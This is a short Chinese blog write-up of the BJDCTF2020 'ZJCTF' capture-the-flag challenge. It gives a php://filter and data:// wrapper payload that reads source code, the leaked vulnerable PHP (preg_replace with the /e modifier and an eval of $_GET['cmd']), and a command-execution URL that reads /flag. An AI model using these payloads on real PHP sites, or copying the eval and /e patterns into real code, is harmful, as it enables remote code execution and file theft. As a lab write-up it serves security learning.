Z1d10tのBlog

A note for myself,have fun!

[BJDCTF2020]ZJCTF,不过如此

先是一个代码审计和之前一个反序列化题目很像,就是一个伪协议的利用

构造payload:

1
?text=data:text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;


function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}



foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}


function getFlag(){
@eval($_GET['cmd']);
}

然后这里涉及到preg_replace() /e模式的漏洞 将用于替换的部分当作php代码执行 参考:https://xz.aliyun.com/t/2557

这里\\1 其实就是 \1 第一个 \ 用于转义了 那么结果就是\1 在这里是反向引用 由于我这里没搞太明白

这类题直接用模板答案就行\S*=${命令执行} 大佬总结的很全

思路就是调用getFlag()函数 然后cmd= 命令执行

/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); 注意是在next.php 下提交get传参

img

这里foreach搭配$_GET有特殊的用法 注意这里不是$_GET[]

本地搭了一个环境测试了一下

img

简单说就是形如a=b的形式变量名和值分成两个变量来使用 蛮神奇的

本文最后更新于 天前,文中所描述的信息可能已发生改变